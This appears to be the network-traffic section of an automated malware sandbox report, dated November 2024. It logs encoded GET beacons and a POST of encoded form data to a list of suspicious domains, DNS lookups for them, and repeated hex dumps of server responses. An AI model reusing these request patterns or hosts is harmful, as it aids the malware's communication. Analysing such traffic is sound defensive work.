Source: global traffic	HTTP traffic detected: GET /5g7z/?Q2_4=kK8eGZeOL0c0i7pZ0ONPINYAGZoAPWpd4nCLeggjcj8HoPAJjspSGomAMuDSSayw1bMnL6JfGjY3P9qtC0w+rul42/5pklRpQ1va0t0kDdVVqU9rzEU/DKw=&uXP=1HX8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeHost: www.godskids.storeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Source: global traffic	HTTP traffic detected: GET /o2wj/?Q2_4=6LtjBDJj0uphlWGPUfsWns8NqP5UEL6FPz1cDqFjhhwngDvwQ5o3u1RN/IkqtEFfAoNcvBtCSqAXdbdyLf0jo5EGqFac5ns//rYVLRsufIrNIa29XQHyhaQ=&uXP=1HX8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeHost: www.030002832.xyzUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Source: global traffic	HTTP traffic detected: GET /44hl/?Q2_4=0mQqee+UGJnUA/Yx1BcY9bAABUibbqUVx0XTpT1xrmayiD/fNEmP8Z3r8TZ3vglxtN5riIpUZVEdwgctiqwj4JSuSDuD97XK84LsZQ3P19o3XG1/uWMy0C8=&uXP=1HX8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeHost: www.wonders8.liveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Source: global traffic	HTTP traffic detected: GET /oy0l/?uXP=1HX8&Q2_4=vcWw5DdjdQnkJmRMu9Bv0nYhxIjg8XNP87kLKcEwcjL/VJXYlRnLhwXYdIbeiM5Wp1LHJGQmwLmzd8N63pnOImbiL9MWYGLhlQi4+Y3hzWOb/gf9Ze4XcY0= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeHost: www.nidedabeille.netUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Source: global traffic	HTTP traffic detected: GET /3qrm/?Q2_4=tyeG08MV0U64WH6unwcOXR2sJCf/xqZR+j/9sSFSjjXbCPJ8dUZ7AUStEW8oibqh5p8I6M3vE8IgylEGfxaCpffC+Ti1QKudju6yjlF7VN/fdeOaTvtkuuM=&uXP=1HX8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeHost: www.brunvox.siteUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Source: global traffic	HTTP traffic detected: GET /gqtu/?uXP=1HX8&Q2_4=f6Wh19Zbj3f0KGUwZR2TDfnh8ZC1kt4m9SH2+p3LnlYuxzS1qi5wc2xrbNMUplnXpMrttmRXmQTtzIwx74OUI7QZZXrSykXx07R8xuG/LilMEmUkiLjEEHk= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usConnection: closeHost: www.osi.gardenUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1

Source: global traffic	DNS traffic detected: DNS query: www.nagasl89.baby
Source: global traffic	DNS traffic detected: DNS query: www.abuali-contracting.art
Source: global traffic	DNS traffic detected: DNS query: www.godskids.store
Source: global traffic	DNS traffic detected: DNS query: www.030002832.xyz
Source: global traffic	DNS traffic detected: DNS query: www.wonders8.live
Source: global traffic	DNS traffic detected: DNS query: www.pwk-24.xyz
Source: global traffic	DNS traffic detected: DNS query: www.nidedabeille.net
Source: global traffic	DNS traffic detected: DNS query: www.brunvox.site
Source: global traffic	DNS traffic detected: DNS query: www.osi.garden
Source: global traffic	DNS traffic detected: DNS query: www.983743.vin
Source: global traffic	DNS traffic detected: DNS query: www.parkerstraus.dev
Source: global traffic	DNS traffic detected: DNS query: www.mynotebook.shop
Source: global traffic	DNS traffic detected: DNS query: www.bav.lat
Source: global traffic	DNS traffic detected: DNS query: www.notepad.mobi
Source: global traffic	DNS traffic detected: DNS query: www.5oxzis.top
Source: global traffic	DNS traffic detected: DNS query: www.hyman.life

Source: unknown

HTTP traffic detected: POST /ytnk/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-usContent-Length: 201Content-Type: application/x-www-form-urlencodedConnection: closeCache-Control: no-cacheHost: www.abuali-contracting.artOrigin: http://www.abuali-contracting.artReferer: http://www.abuali-contracting.art/ytnk/User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1Data Raw: 51 32 5f 34 3d 6a 48 6f 68 30 62 34 4e 57 4b 75 43 6d 76 41 5a 74 6d 45 39 44 38 4a 47 6f 46 73 2b 2f 75 33 75 65 36 67 48 58 76 32 45 4b 61 55 6f 62 31 47 4b 74 39 47 6a 62 6f 68 4a 77 64 4e 36 49 6f 7a 66 6a 55 39 74 39 46 34 49 6a 6d 35 48 41 65 6e 37 41 66 77 36 53 6d 72 42 53 77 53 45 37 41 67 4f 6f 71 71 6d 78 76 33 42 4b 76 74 62 53 36 6e 31 63 67 33 52 5a 71 58 38 37 31 79 2b 35 50 6a 43 35 4a 49 31 66 31 4e 74 73 62 66 54 77 77 2b 37 58 4f 4c 37 47 43 70 74 67 48 6a 58 67 51 4b 78 45 39 70 53 56 73 46 63 51 2b 30 73 43 41 44 34 4c 66 54 32 46 6d 41 4e 48 56 52 71 67 76 78 33 51 51 3d 3d Data Ascii: Q2_4=jHoh0b4NWKuCmvAZtmE9D8JGoFs+/u3ue6gHXv2EKaUob1GKt9GjbohJwdN6IozfjU9t9F4Ijm5HAen7Afw6SmrBSwSE7AgOoqqmxv3BKvtbS6n1cg3RZqX871y+5PjC5JI1f1NtsbfTww+7XOL7GCptgHjXgQKxE9pSVsFcQ+0sCAD4LfT2FmANHVRqgvx3QQ==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:33:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xYFQ15sgg3sNfaHR7ZWbibC%2FoexqyuLJIbPFTcdmwXy%2Few4tVOYXnv4ZZsG2I9%2B%2FWCe%2Bh2euRAluH21zly4wVAC8B92TOdwqSxZ07XO2ODRBJp%2FpQn4gBzpuqRuv3tXnI1uGWA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ddd8fb7b8f2726f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=104780&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=457&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 32 30 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 69 64 2d 49 44 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 76 69 65 77 70 6f 72 74 2d 66 69 74 3d 63 6f 76 65 72 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 42 75 6b 61 6e 57 6f 72 64 70 72 65 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 67 61 73 6c 38 39 2e 62 61 62 79 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 69 74 65 6d 61 70 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 67 61 73 6c 38 39 2e 62 61 62 79 2f 73 69 74 65 6d 61 70 2e 78 6d 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 52 54 50 20 53 4c 4f 54 4f Data Ascii: 2099<!DOCTYPE html><html lang="id-ID"><head> <meta charset="utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover" /><meta name="generator" content="BukanWordpress" /><link rel="icon" type="image/x-icon" href="https://www.nagasl89.baby/favicon.ico" /><link rel="sitemap" href="https://www.nagasl89.baby/sitemap.xml" /><link rel="alternate" type="application/rss+xml" title="RTP SLOTO
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:34:08 GMTServer: ApacheX-Powered-By: PHP/8.1.29Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/"Strict-Transport-Security: max-age=63072000; includeSubDomainsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffVary: Accept-EncodingContent-Encoding: gzipContent-Length: 24178Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 69 93 e4 c6 91 20 fa 99 6d f6 fe 03 98 34 b2 2b c9 04 12 f7 51 d5 d5 12 59 24 25 ce 36 45 99 9a 92 de 4a 4d 2b 43 02 c8 2a 74 23 13 29 20 b3 0e 96 ea c3 68 24 ad 56 fb 7e c5 ee ce 8a c3 37 1a 99 46 6f 76 4c fb 4b aa ff cd 73 f7 c0 7d 25 f2 e8 6e 72 d4 4d 56 15 10 f0 f0 70 f7 f0 f0 70 8f f3 c1 9b 1f 7e 76 f2 f9 7f fe e1 47 dc f9 72 16 3c bc f7 00 ff 70 ae 1f 1d 0f a2 65 30 e0 02 7b 7e 76 3c b0 a3 01 b7 88 bc a9 7f 75 3c 08 cf 0e 01 76 b9 88 0f c7 e3 f0 6c 21 cc bc f1 3c 7e 6b 80 59 3d db 7d 78 ef 8d 07 33 6f 69 73 ce b9 1d c5 de f2 78 f0 e3 cf 3f e6 cd 01 37 ce be cc ed 99 77 3c b8 f0 bd cb 45 18 2d 07 9c 13 ce 97 de 1c 20 2f 7d 77 79 7e ec 7a 17 be e3 f1 f4 32 e2 fc b9 bf f4 ed 80 8f 1d 3b f0 8e 25 c2 73 ef 8d 37 1e bc c9 f3 dc fb 41 00 df b9 cf e6 1e f7 f8 a3 cf 38 55 30 04 55 90 38 9e b3 fd 30 f6 42 c1 09 67 1c cf 3f fc bf 10 7e e9 2f 03 ef e1 83 31 fb 8b 29 05 5a a2 70 12 2e e3 02 25 f3 d0 9f bb de 15 a3 ba 04 7a e6 cd bd c8 5e 86 51 01 ba 42 c7 c1 fb 9f 7c 06 7f 87 29 41 29 96 d8 89 fc c5 92 5b 5e 2f 00 8f bd 58 04 be 63 2f fd 70 3e 0e dc f7 9e c6 e1 1c 30 06 76 1c c3 37 22 1f 58 3e f7 66 f6 00 f3 be 71 33 f8 2e 15 77 b5 1c 1c 0e 98 f4 9f 8c 9f 8c 19 88 10 46 67 83 d1 e0 bb 67 91 bd 38 1f 1c fe 1c 80 b1 10 80 fc 20 82 2a 71 a2 d5 6c f2 c8 8f 97 08 e3 bb 25 04 f6 64 65 07 3e 8f b8 23 db 59 fa f3 33 c1 8e 96 4f c6 d7 cb f9 b3 27 e3 b7 26 59 fe 80 e5 f7 97 de 0c 51 7d 14 78 33 e0 bd 54 18 a6 7f 02 df 37 28 e6 ad 20 cf b3 08 63 1f c5 31 38 94 46 03 14 36 60 78 b2 12 75 d9 c0 df aa 8a bf 15 89 52 74 4a b1 29 45 c9 9f 65 2b a1 b0 57 d9 00 3b 07 79 7e d2 17 3e 11 49 46 f1 ed 68 27 d6 ab e8 8a 02 90 4b 02 50 ec 02 bb 12 47 2f 1a fd 36 89 6b a7 f0 3c 45 3c 11 b4 a0 70 15 f7 e6 ac c0 d3 17 45 ae 3e 8b ce ec b9 ff 25 29 e9 26 95 1a 96 f3 15 eb 92 6a 4b 36 19 c5 c4 8a 62 e5 d5 ab da 5c e1 45 2d 70 2a 17 34 c1 cc bf b2 14 d9 86 52 5c 8f b5 2f 12 20 15 a6 ea 79 d6 24 93 c6 e5 e5 cb 76 ae 51 6a 51 8b 18 5d 45 b5 93 a7 f9 e7 04 d4 2c a8 a3 91 a3 13 9d b6 cc 46 21 5d ef 93 ad c6 a6 62 b4 80 16 db 40 91 a4 44 76 05 b2 9b ca 51 0a 28 b4 02 79 ad 84 39 39 79 8a 52 10 68 49 26 d3 62 6e b3 26 44 b5 8e d6 a3 dc 05 de 37 c9 9d 94 ea 55 99 4f 70 30 25 53 e4 b6 b2 0b 32 60 52 96 dd 42 6e b5 ae 2f 45 c9 6a 35 7c ec 73 42 78 a1 ca Data Ascii: i m4+QY$%6EJM+C*t#) h$V~7FovLKs}%nrMVpp~vGr<pe0{~v<u<vl!
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:34:11 GMTServer: ApacheX-Powered-By: PHP/8.1.29Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/"Strict-Transport-Security: max-age=63072000; includeSubDomainsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffVary: Accept-EncodingContent-Encoding: gzipContent-Length: 24178Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 69 93 e4 c6 91 20 fa 99 6d f6 fe 03 98 34 b2 2b c9 04 12 f7 51 d5 d5 12 59 24 25 ce 36 45 99 9a 92 de 4a 4d 2b 43 02 c8 2a 74 23 13 29 20 b3 0e 96 ea c3 68 24 ad 56 fb 7e c5 ee ce 8a c3 37 1a 99 46 6f 76 4c fb 4b aa ff cd 73 f7 c0 7d 25 f2 e8 6e 72 d4 4d 56 15 10 f0 f0 70 f7 f0 f0 70 8f f3 c1 9b 1f 7e 76 f2 f9 7f fe e1 47 dc f9 72 16 3c bc f7 00 ff 70 ae 1f 1d 0f a2 65 30 e0 02 7b 7e 76 3c b0 a3 01 b7 88 bc a9 7f 75 3c 08 cf 0e 01 76 b9 88 0f c7 e3 f0 6c 21 cc bc f1 3c 7e 6b 80 59 3d db 7d 78 ef 8d 07 33 6f 69 73 ce b9 1d c5 de f2 78 f0 e3 cf 3f e6 cd 01 37 ce be cc ed 99 77 3c b8 f0 bd cb 45 18 2d 07 9c 13 ce 97 de 1c 20 2f 7d 77 79 7e ec 7a 17 be e3 f1 f4 32 e2 fc b9 bf f4 ed 80 8f 1d 3b f0 8e 25 c2 73 ef 8d 37 1e bc c9 f3 dc fb 41 00 df b9 cf e6 1e f7 f8 a3 cf 38 55 30 04 55 90 38 9e b3 fd 30 f6 42 c1 09 67 1c cf 3f fc bf 10 7e e9 2f 03 ef e1 83 31 fb 8b 29 05 5a a2 70 12 2e e3 02 25 f3 d0 9f bb de 15 a3 ba 04 7a e6 cd bd c8 5e 86 51 01 ba 42 c7 c1 fb 9f 7c 06 7f 87 29 41 29 96 d8 89 fc c5 92 5b 5e 2f 00 8f bd 58 04 be 63 2f fd 70 3e 0e dc f7 9e c6 e1 1c 30 06 76 1c c3 37 22 1f 58 3e f7 66 f6 00 f3 be 71 33 f8 2e 15 77 b5 1c 1c 0e 98 f4 9f 8c 9f 8c 19 88 10 46 67 83 d1 e0 bb 67 91 bd 38 1f 1c fe 1c 80 b1 10 80 fc 20 82 2a 71 a2 d5 6c f2 c8 8f 97 08 e3 bb 25 04 f6 64 65 07 3e 8f b8 23 db 59 fa f3 33 c1 8e 96 4f c6 d7 cb f9 b3 27 e3 b7 26 59 fe 80 e5 f7 97 de 0c 51 7d 14 78 33 e0 bd 54 18 a6 7f 02 df 37 28 e6 ad 20 cf b3 08 63 1f c5 31 38 94 46 03 14 36 60 78 b2 12 75 d9 c0 df aa 8a bf 15 89 52 74 4a b1 29 45 c9 9f 65 2b a1 b0 57 d9 00 3b 07 79 7e d2 17 3e 11 49 46 f1 ed 68 27 d6 ab e8 8a 02 90 4b 02 50 ec 02 bb 12 47 2f 1a fd 36 89 6b a7 f0 3c 45 3c 11 b4 a0 70 15 f7 e6 ac c0 d3 17 45 ae 3e 8b ce ec b9 ff 25 29 e9 26 95 1a 96 f3 15 eb 92 6a 4b 36 19 c5 c4 8a 62 e5 d5 ab da 5c e1 45 2d 70 2a 17 34 c1 cc bf b2 14 d9 86 52 5c 8f b5 2f 12 20 15 a6 ea 79 d6 24 93 c6 e5 e5 cb 76 ae 51 6a 51 8b 18 5d 45 b5 93 a7 f9 e7 04 d4 2c a8 a3 91 a3 13 9d b6 cc 46 21 5d ef 93 ad c6 a6 62 b4 80 16 db 40 91 a4 44 76 05 b2 9b ca 51 0a 28 b4 02 79 ad 84 39 39 79 8a 52 10 68 49 26 d3 62 6e b3 26 44 b5 8e d6 a3 dc 05 de 37 c9 9d 94 ea 55 99 4f 70 30 25 53 e4 b6 b2 0b 32 60 52 96 dd 42 6e b5 ae 2f 45 c9 6a 35 7c ec 73 42 78 a1 ca Data Ascii: i m4+QY$%6EJM+C*t#) h$V~7FovLKs}%nrMVpp~vGr<pe0{~v<u<vl!
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:34:13 GMTServer: ApacheX-Powered-By: PHP/8.1.29Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/"Strict-Transport-Security: max-age=63072000; includeSubDomainsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffVary: Accept-EncodingContent-Encoding: gzipContent-Length: 24178Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 69 93 e4 c6 91 20 fa 99 6d f6 fe 03 98 34 b2 2b c9 04 12 f7 51 d5 d5 12 59 24 25 ce 36 45 99 9a 92 de 4a 4d 2b 43 02 c8 2a 74 23 13 29 20 b3 0e 96 ea c3 68 24 ad 56 fb 7e c5 ee ce 8a c3 37 1a 99 46 6f 76 4c fb 4b aa ff cd 73 f7 c0 7d 25 f2 e8 6e 72 d4 4d 56 15 10 f0 f0 70 f7 f0 f0 70 8f f3 c1 9b 1f 7e 76 f2 f9 7f fe e1 47 dc f9 72 16 3c bc f7 00 ff 70 ae 1f 1d 0f a2 65 30 e0 02 7b 7e 76 3c b0 a3 01 b7 88 bc a9 7f 75 3c 08 cf 0e 01 76 b9 88 0f c7 e3 f0 6c 21 cc bc f1 3c 7e 6b 80 59 3d db 7d 78 ef 8d 07 33 6f 69 73 ce b9 1d c5 de f2 78 f0 e3 cf 3f e6 cd 01 37 ce be cc ed 99 77 3c b8 f0 bd cb 45 18 2d 07 9c 13 ce 97 de 1c 20 2f 7d 77 79 7e ec 7a 17 be e3 f1 f4 32 e2 fc b9 bf f4 ed 80 8f 1d 3b f0 8e 25 c2 73 ef 8d 37 1e bc c9 f3 dc fb 41 00 df b9 cf e6 1e f7 f8 a3 cf 38 55 30 04 55 90 38 9e b3 fd 30 f6 42 c1 09 67 1c cf 3f fc bf 10 7e e9 2f 03 ef e1 83 31 fb 8b 29 05 5a a2 70 12 2e e3 02 25 f3 d0 9f bb de 15 a3 ba 04 7a e6 cd bd c8 5e 86 51 01 ba 42 c7 c1 fb 9f 7c 06 7f 87 29 41 29 96 d8 89 fc c5 92 5b 5e 2f 00 8f bd 58 04 be 63 2f fd 70 3e 0e dc f7 9e c6 e1 1c 30 06 76 1c c3 37 22 1f 58 3e f7 66 f6 00 f3 be 71 33 f8 2e 15 77 b5 1c 1c 0e 98 f4 9f 8c 9f 8c 19 88 10 46 67 83 d1 e0 bb 67 91 bd 38 1f 1c fe 1c 80 b1 10 80 fc 20 82 2a 71 a2 d5 6c f2 c8 8f 97 08 e3 bb 25 04 f6 64 65 07 3e 8f b8 23 db 59 fa f3 33 c1 8e 96 4f c6 d7 cb f9 b3 27 e3 b7 26 59 fe 80 e5 f7 97 de 0c 51 7d 14 78 33 e0 bd 54 18 a6 7f 02 df 37 28 e6 ad 20 cf b3 08 63 1f c5 31 38 94 46 03 14 36 60 78 b2 12 75 d9 c0 df aa 8a bf 15 89 52 74 4a b1 29 45 c9 9f 65 2b a1 b0 57 d9 00 3b 07 79 7e d2 17 3e 11 49 46 f1 ed 68 27 d6 ab e8 8a 02 90 4b 02 50 ec 02 bb 12 47 2f 1a fd 36 89 6b a7 f0 3c 45 3c 11 b4 a0 70 15 f7 e6 ac c0 d3 17 45 ae 3e 8b ce ec b9 ff 25 29 e9 26 95 1a 96 f3 15 eb 92 6a 4b 36 19 c5 c4 8a 62 e5 d5 ab da 5c e1 45 2d 70 2a 17 34 c1 cc bf b2 14 d9 86 52 5c 8f b5 2f 12 20 15 a6 ea 79 d6 24 93 c6 e5 e5 cb 76 ae 51 6a 51 8b 18 5d 45 b5 93 a7 f9 e7 04 d4 2c a8 a3 91 a3 13 9d b6 cc 46 21 5d ef 93 ad c6 a6 62 b4 80 16 db 40 91 a4 44 76 05 b2 9b ca 51 0a 28 b4 02 79 ad 84 39 39 79 8a 52 10 68 49 26 d3 62 6e b3 26 44 b5 8e d6 a3 dc 05 de 37 c9 9d 94 ea 55 99 4f 70 30 25 53 e4 b6 b2 0b 32 60 52 96 dd 42 6e b5 ae 2f 45 c9 6a 35 7c ec 73 42 78 a1 ca Data Ascii: i m4+QY$%6EJM+C*t#) h$V~7FovLKs}%nrMVpp~vGr<pe0{~v<u<vl!
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 05 Nov 2024 14:34:35 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 05 Nov 2024 14:34:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 